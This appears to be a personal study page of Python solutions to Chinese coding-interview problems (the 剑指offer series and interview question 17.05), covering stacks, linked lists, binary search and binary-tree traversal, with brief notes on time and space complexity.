<h3 id="面试题-17-05-字母与数字"><a href="#面试题-17-05-字母与数字" class="headerlink" title="面试题 17.05. 字母与数字"></a>面试题 17.05. 字母与数字</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findLongestSubarray(self, array: List[str]) -> List[str]:</span><br><span class="line"> index = {0 : -1}</span><br><span class="line"> cur_sum = 0</span><br><span class="line"> startIdx = -1</span><br><span class="line"> maxLength = 0</span><br><span class="line"> for i in range(len(array)):</span><br><span class="line"> if '0' <= array[i][0] <= '9':</span><br><span class="line"> cur_sum += 1</span><br><span class="line"> else:</span><br><span class="line"> cur_sum -= 1</span><br><span class="line"> if cur_sum in index:</span><br><span class="line"> if i - index[cur_sum] > maxLength:</span><br><span class="line"> startIdx = index[cur_sum] + 1</span><br><span class="line"> maxLength = i - index[cur_sum]</span><br><span class="line"> else:</span><br><span class="line"> index[cur_sum] = i</span><br><span class="line"> return array[startIdx : startIdx + maxLength]</span><br></pre></td></tr></table></figure>
<h2 id="剑指offer"><a href="#剑指offer" class="headerlink" title="剑指offer"></a>剑指offer</h2><h3 id="day1"><a href="#day1" class="headerlink" title="day1"></a>day1</h3><h4 id="剑指-Offer-09-用两个栈实现队列"><a href="#剑指-Offer-09-用两个栈实现队列" class="headerlink" title="剑指 Offer 09. 用两个栈实现队列"></a>剑指 Offer 09. 用两个栈实现队列</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">class CQueue:</span><br><span class="line"></span><br><span class="line"> def __init__(self):</span><br><span class="line"> self.stack1 = []</span><br><span class="line"> self.stack2 = []</span><br><span class="line"></span><br><span class="line"> def appendTail(self, value: int) -> None:</span><br><span class="line"> self.stack1.append(value)</span><br><span class="line"></span><br><span class="line"> def deleteHead(self) -> int:</span><br><span class="line"> while len(self.stack1) > 0:</span><br><span class="line"> self.stack2.append(self.stack1.pop())</span><br><span class="line"> if len(self.stack2) > 0: </span><br><span class="line"> result = self.stack2.pop()</span><br><span class="line"> else:</span><br><span class="line"> result = -1</span><br><span class="line"> while len(self.stack2) > 0:</span><br><span class="line"> self.stack1.append(self.stack2.pop())</span><br><span class="line"> return result</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Your CQueue object will be instantiated and called as such:</span><br><span class="line"># obj = CQueue()</span><br><span class="line"># obj.appendTail(value)</span><br><span class="line"># param_2 = obj.deleteHead()</span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-30-包含min函数的栈"><a href="#剑指-Offer-30-包含min函数的栈" class="headerlink" title="剑指 Offer 30. 包含min函数的栈"></a>剑指 Offer 30. 包含min函数的栈</h4><p>use the second stack to store the min number for each position<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">class MinStack:</span><br><span class="line"></span><br><span class="line"> def __init__(self):</span><br><span class="line"> """</span><br><span class="line"> initialize your data structure here.</span><br><span class="line"> """</span><br><span class="line"> self.stack = []</span><br><span class="line"> self.min_stack = [math.inf]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def push(self, x: int) -> None:</span><br><span class="line"> self.stack.append(x)</span><br><span class="line"> self.min_stack.append(min(x, self.min_stack[-1]))</span><br><span class="line"></span><br><span class="line"> def pop(self) -> None:</span><br><span class="line"> self.stack.pop()</span><br><span class="line"> self.min_stack.pop()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def top(self) -> int:</span><br><span class="line"> return self.stack[-1]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> def min(self) -> int:</span><br><span class="line"> return self.min_stack[-1]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Your MinStack object will be instantiated and called as such:</span><br><span class="line"># obj = MinStack()</span><br><span class="line"># obj.push(x)</span><br><span class="line"># obj.pop()</span><br><span class="line"># param_3 = obj.top()</span><br><span class="line"># param_4 = obj.min()</span><br></pre></td></tr></table></figure></p>
<h3 id="day2"><a href="#day2" class="headerlink" title="day2"></a>day2</h3><h4 id="剑指-Offer-06-从尾到头打印链表"><a href="#剑指-Offer-06-从尾到头打印链表" class="headerlink" title="剑指 Offer 06. 从尾到头打印链表"></a>剑指 Offer 06. 从尾到头打印链表</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.next = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def reversePrint(self, head: ListNode) -> List[int]:</span><br><span class="line"> result = []</span><br><span class="line"> other_stack = []</span><br><span class="line"> while head:</span><br><span class="line"> other_stack.append(head.val)</span><br><span class="line"> head = head.next</span><br><span class="line"> while len(other_stack):</span><br><span class="line"> result.append(other_stack.pop())</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-24-反转链表"><a href="#剑指-Offer-24-反转链表" class="headerlink" title="剑指 Offer 24. 反转链表"></a>剑指 Offer 24. 反转链表</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.next = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def reverseList(self, head: ListNode) -> ListNode:</span><br><span class="line"> a_stack = []</span><br><span class="line"> result_head = ListNode(-1)</span><br><span class="line"> cur_node = result_head</span><br><span class="line"> while head:</span><br><span class="line"> a_stack.append(head.val)</span><br><span class="line"> head = head.next</span><br><span class="line"> while len(a_stack):</span><br><span class="line"> cur_node.next = ListNode(a_stack.pop())</span><br><span class="line"> cur_node = cur_node.next</span><br><span class="line"> return result_head.next</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-35-复杂链表的复制"><a href="#剑指-Offer-35-复杂链表的复制" class="headerlink" title="剑指 Offer 35. 复杂链表的复制"></a>剑指 Offer 35. 复杂链表的复制</h4><p>time: O(n), space: O(n) for a hashmap<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">"""</span><br><span class="line"># Definition for a Node.</span><br><span class="line">class Node:</span><br><span class="line"> def __init__(self, x: int, next: 'Node' = None, random: 'Node' = None):</span><br><span class="line"> self.val = int(x)</span><br><span class="line"> self.next = next</span><br><span class="line"> self.random = random</span><br><span class="line">"""</span><br><span class="line">class Solution:</span><br><span class="line"> def copyRandomList(self, head: 'Node') -> 'Node':</span><br><span class="line"> if not head:</span><br><span class="line"> return</span><br><span class="line"> dic = {}</span><br><span class="line"> cur = head</span><br><span class="line"> while cur:</span><br><span class="line"> dic[cur] = Node(cur.val)</span><br><span class="line"> cur = cur.next</span><br><span class="line"> cur = head</span><br><span class="line"> while cur:</span><br><span class="line"> dic[cur].next = dic.get(cur.next)</span><br><span class="line"> dic[cur].random = dic.get(cur.random)</span><br><span class="line"> cur = cur.next</span><br><span class="line"> return dic[head]</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<p>time: O(n), space: O(1)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">"""</span><br><span class="line"># Definition for a Node.</span><br><span class="line">class Node:</span><br><span class="line"> def __init__(self, x: int, next: 'Node' = None, random: 'Node' = None):</span><br><span class="line"> self.val = int(x)</span><br><span class="line"> self.next = next</span><br><span class="line"> self.random = random</span><br><span class="line">"""</span><br><span class="line">class Solution:</span><br><span class="line"> def copyRandomList(self, head: 'Node') -> 'Node':</span><br><span class="line"> if not head:</span><br><span class="line"> return</span><br><span class="line"> cur = head</span><br><span class="line"> while cur:</span><br><span class="line"> tmp = Node(cur.val)</span><br><span class="line"> tmp.next = cur.next</span><br><span class="line"> cur.next = tmp</span><br><span class="line"> cur = cur.next.next</span><br><span class="line"> cur = head</span><br><span class="line"> while cur:</span><br><span class="line"> if cur.random:</span><br><span class="line"> cur.next.random = cur.random.next</span><br><span class="line"> cur = cur.next.next</span><br><span class="line"> result = cur = head.next</span><br><span class="line"> prev = head</span><br><span class="line"> while cur.next:</span><br><span class="line"> prev.next = prev.next.next</span><br><span class="line"> cur.next = cur.next.next</span><br><span class="line"> prev = prev.next</span><br><span class="line"> cur = cur.next</span><br><span class="line"> prev.next = None</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="day3"><a href="#day3" class="headerlink" title="day3"></a>day3</h3><h4 id="剑指-Offer-05-替换空格"><a href="#剑指-Offer-05-替换空格" class="headerlink" title="剑指 Offer 05. 替换空格"></a>剑指 Offer 05. 替换空格</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def replaceSpace(self, s: str) -> str:</span><br><span class="line"> result = ''</span><br><span class="line"> for ch in s:</span><br><span class="line"> if ch == ' ':</span><br><span class="line"> result += '%20'</span><br><span class="line"> else:</span><br><span class="line"> result += ch</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-58-II-左旋转字符串"><a href="#剑指-Offer-58-II-左旋转字符串" class="headerlink" title="剑指 Offer 58 - II. 左旋转字符串"></a>剑指 Offer 58 - II. 左旋转字符串</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def reverseLeftWords(self, s: str, n: int) -> str:</span><br><span class="line"> return s[n:] + s[:n]</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day4"><a href="#day4" class="headerlink" title="day4"></a>day4</h3><h4 id="剑指-Offer-03-数组中重复的数字"><a href="#剑指-Offer-03-数组中重复的数字" class="headerlink" title="剑指 Offer 03. 数组中重复的数字"></a>剑指 Offer 03. 数组中重复的数字</h4><p>use a hash map, time: O(n), space: O(n)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findRepeatNumber(self, nums: List[int]) -> int:</span><br><span class="line"> val_map = set()</span><br><span class="line"> for num in nums:</span><br><span class="line"> if num in val_map:</span><br><span class="line"> return num</span><br><span class="line"> else:</span><br><span class="line"> val_map.add(num)</span><br><span class="line"> return 0</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<p>n numbers in a list whose values are between 0 ~ n-1, so that the count of index is bigger than the count of values.<br>rechange the numbers in the list to satisfy that (i == nums[i])<br>time: O(n), space: O(1)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findRepeatNumber(self, nums: List[int]) -> int:</span><br><span class="line"> i = 0</span><br><span class="line"> while i < len(nums):</span><br><span class="line"> if i == nums[i]:</span><br><span class="line"> i += 1</span><br><span class="line"> continue</span><br><span class="line"> if nums[i] == nums[nums[i]]:</span><br><span class="line"> return nums[i]</span><br><span class="line"> nums[nums[i]], nums[i] = nums[i], nums[nums[i]]</span><br><span class="line"> return -1</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-53-I-在排序数组中查找数字-I"><a href="#剑指-Offer-53-I-在排序数组中查找数字-I" class="headerlink" title="剑指 Offer 53 - I. 在排序数组中查找数字 I"></a>剑指 Offer 53 - I. 在排序数组中查找数字 I</h4><p>binary search<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def binarySearch(self, nums: List[int], target: int, lower: bool) -> int:</span><br><span class="line"> left, right = 0, len(nums) - 1</span><br><span class="line"> ans = len(nums)</span><br><span class="line"> while left <= right:</span><br><span class="line"> mid = (left + right) // 2</span><br><span class="line"> if nums[mid] > target or (lower and nums[mid] >= target):</span><br><span class="line"> ans = mid</span><br><span class="line"> right = mid - 1</span><br><span class="line"> else:</span><br><span class="line"> left = mid + 1</span><br><span class="line"> return ans</span><br><span class="line"></span><br><span class="line"> def search(self, nums: List[int], target: int) -> int:</span><br><span class="line"> left = self.binarySearch(nums, target, True)</span><br><span class="line"> right = self.binarySearch(nums, target, False) - 1</span><br><span class="line"> if left <= right and right < len(nums) and nums[left] == target and nums[right] == target:</span><br><span class="line"> return right - left + 1</span><br><span class="line"> return 0</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-53-II-0~n-1中缺失的数字"><a href="#剑指-Offer-53-II-0~n-1中缺失的数字" class="headerlink" title="剑指 Offer 53 - II. 0~n-1中缺失的数字"></a>剑指 Offer 53 - II. 0~n-1中缺失的数字</h4><p>binary search<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def missingNumber(self, nums: List[int]) -> int:</span><br><span class="line"> left, right = 0, len(nums) - 1</span><br><span class="line"> while left <= right:</span><br><span class="line"> mid = (left + right) // 2</span><br><span class="line"> if nums[mid] == mid:</span><br><span class="line"> left = mid + 1</span><br><span class="line"> else:</span><br><span class="line"> right = mid - 1</span><br><span class="line"> return left</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="day5"><a href="#day5" class="headerlink" title="day5"></a>day5</h3><h4 id="剑指-Offer-04-二维数组中的查找"><a href="#剑指-Offer-04-二维数组中的查找" class="headerlink" title="剑指 Offer 04. 二维数组中的查找"></a>剑指 Offer 04. 二维数组中的查找</h4><p>ref: <a target="_blank" rel="noopener" href="https://leetcode.cn/problems/er-wei-shu-zu-zhong-de-cha-zhao-lcof/solution/mian-shi-ti-04-er-wei-shu-zu-zhong-de-cha-zhao-zuo/">https://leetcode.cn/problems/er-wei-shu-zu-zhong-de-cha-zhao-lcof/solution/mian-shi-ti-04-er-wei-shu-zu-zhong-de-cha-zhao-zuo/</a><br>rotate the matrix 90° CCW, which looks like a binary search tree<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def findNumberIn2DArray(self, matrix: List[List[int]], target: int) -> bool:</span><br><span class="line"> i, j = len(matrix) - 1, 0</span><br><span class="line"> while i >= 0 and j < len(matrix[0]):</span><br><span class="line"> if matrix[i][j] < target:</span><br><span class="line"> j += 1</span><br><span class="line"> elif matrix[i][j] > target:</span><br><span class="line"> i -= 1</span><br><span class="line"> else:</span><br><span class="line"> return True</span><br><span class="line"> return False</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-11-旋转数组的最小数字"><a href="#剑指-Offer-11-旋转数组的最小数字" class="headerlink" title="剑指 Offer 11. 旋转数组的最小数字"></a>剑指 Offer 11. 旋转数组的最小数字</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def minArray(self, numbers: [int]) -> int:</span><br><span class="line"> i, j = 0, len(numbers) - 1</span><br><span class="line"> while i < j:</span><br><span class="line"> m = (i + j) // 2</span><br><span class="line"> if numbers[m] > numbers[j]: i = m + 1</span><br><span class="line"> elif numbers[m] < numbers[j]: j = m</span><br><span class="line"> else: return min(numbers[i:j])</span><br><span class="line"> return numbers[i]</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-50-第一个只出现一次的字符"><a href="#剑指-Offer-50-第一个只出现一次的字符" class="headerlink" title="剑指 Offer 50. 第一个只出现一次的字符"></a>剑指 Offer 50. 第一个只出现一次的字符</h4><p>time: O(n), space: O(|Σ|) for a hashmap<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def firstUniqChar(self, s: str) -> str:</span><br><span class="line"> counter = collections.Counter(s)</span><br><span class="line"> for i, ch in enumerate(s):</span><br><span class="line"> if counter[ch] == 1:</span><br><span class="line"> return ch</span><br><span class="line"> return ' '</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="day6"><a href="#day6" class="headerlink" title="day6"></a>day6</h3><h4 id="剑指-Offer-32-I-从上到下打印二叉树"><a href="#剑指-Offer-32-I-从上到下打印二叉树" class="headerlink" title="剑指 Offer 32 - I. 从上到下打印二叉树"></a>剑指 Offer 32 - I. 从上到下打印二叉树</h4><p>BFS, use a queue<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def levelOrder(self, root: TreeNode) -> List[int]:</span><br><span class="line"> result = []</span><br><span class="line"> if not root:</span><br><span class="line"> return result</span><br><span class="line"> queue = collections.deque()</span><br><span class="line"> queue.append(root)</span><br><span class="line"> while queue:</span><br><span class="line"> node = queue.popleft()</span><br><span class="line"> result.append(node.val)</span><br><span class="line"> if node.left:</span><br><span class="line"> queue.append(node.left)</span><br><span class="line"> if node.right:</span><br><span class="line"> queue.append(node.right)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h4 id="剑指-Offer-32-II-从上到下打印二叉树-II"><a href="#剑指-Offer-32-II-从上到下打印二叉树-II" class="headerlink" title="剑指 Offer 32 - II. 从上到下打印二叉树 II"></a>剑指 Offer 32 - II. 从上到下打印二叉树 II</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def levelOrder(self, root: TreeNode) -> List[List[int]]:</span><br><span class="line"> if not root:</span><br><span class="line"> return []</span><br><span class="line"> result = []</span><br><span class="line"> queue = collections.deque()</span><br><span class="line"> queue.append(root)</span><br><span class="line"> while queue:</span><br><span class="line"> tmp = []</span><br><span class="line"> for _ in range(len(queue)):</span><br><span class="line"> node = queue.popleft()</span><br><span class="line"> tmp.append(node.val)</span><br><span class="line"> if node.left:</span><br><span class="line"> queue.append(node.left)</span><br><span class="line"> if node.right:</span><br><span class="line"> queue.append(node.right)</span><br><span class="line"> result.append(tmp)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="剑指-Offer-32-III-从上到下打印二叉树-III"><a href="#剑指-Offer-32-III-从上到下打印二叉树-III" class="headerlink" title="剑指 Offer 32 - III. 从上到下打印二叉树 III"></a>剑指 Offer 32 - III. 从上到下打印二叉树 III</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def levelOrder(self, root: TreeNode) -> List[List[int]]:</span><br><span class="line"> if not root:</span><br><span class="line"> return []</span><br><span class="line"> result, queue = [], collections.deque()</span><br><span class="line"> queue.append(root)</span><br><span class="line"> while queue:</span><br><span class="line"> tmp = []</span><br><span class="line"> for _ in range(len(queue)):</span><br><span class="line"> node = queue.popleft()</span><br><span class="line"> tmp.append(node.val)</span><br><span class="line"> if node.left:</span><br><span class="line"> queue.append(node.left)</span><br><span class="line"> if node.right:</span><br><span class="line"> queue.append(node.right)</span><br><span class="line"> if len(result) & 1:</span><br><span class="line"> result.append(tmp[::-1])</span><br><span class="line"> else:</span><br><span class="line"> result.append(tmp)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="day7"><a href="#day7" class="headerlink" title="day7"></a>day7</h3><h4 id="剑指-Offer-26-树的子结构"><a href="#剑指-Offer-26-树的子结构" class="headerlink" title="剑指 Offer 26. 树的子结构"></a>剑指 Offer 26. 树的子结构</h4><p>recursion<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># Definition for a binary tree node.</span><br><span class="line"># class TreeNode:</span><br><span class="line"># def __init__(self, x):</span><br><span class="line"># self.val = x</span><br><span class="line"># self.left = None</span><br><span class="line"># self.right = None</span><br><span class="line"></span><br><span class="line">class Solution:</span><br><span class="line"> def isSubStructure(self, A: TreeNode, B: TreeNode) -> bool:</span><br><span class="line"> def recur(A: TreeNode, B: TreeNode) -> bool:</span><br><span class="line"> if not B:</span><br><span class="line"> return True</span><br><span class="line"> if not A or A.val != B.val:</span><br><span class="line"> return False</span><br><span class="line"> return recur(A.left, B.left) and recur(A.right, B.right)</span><br><span class="line"> if not A or not B:</span><br><span class="line"> return False</span><br><span class="line"> return recur(A, B) or self.isSubStructure(A.left, B) or self.isSubStructure(A.right, B)</span><br><span class="line"> </span><br></pre></td></tr></table></figure></p>
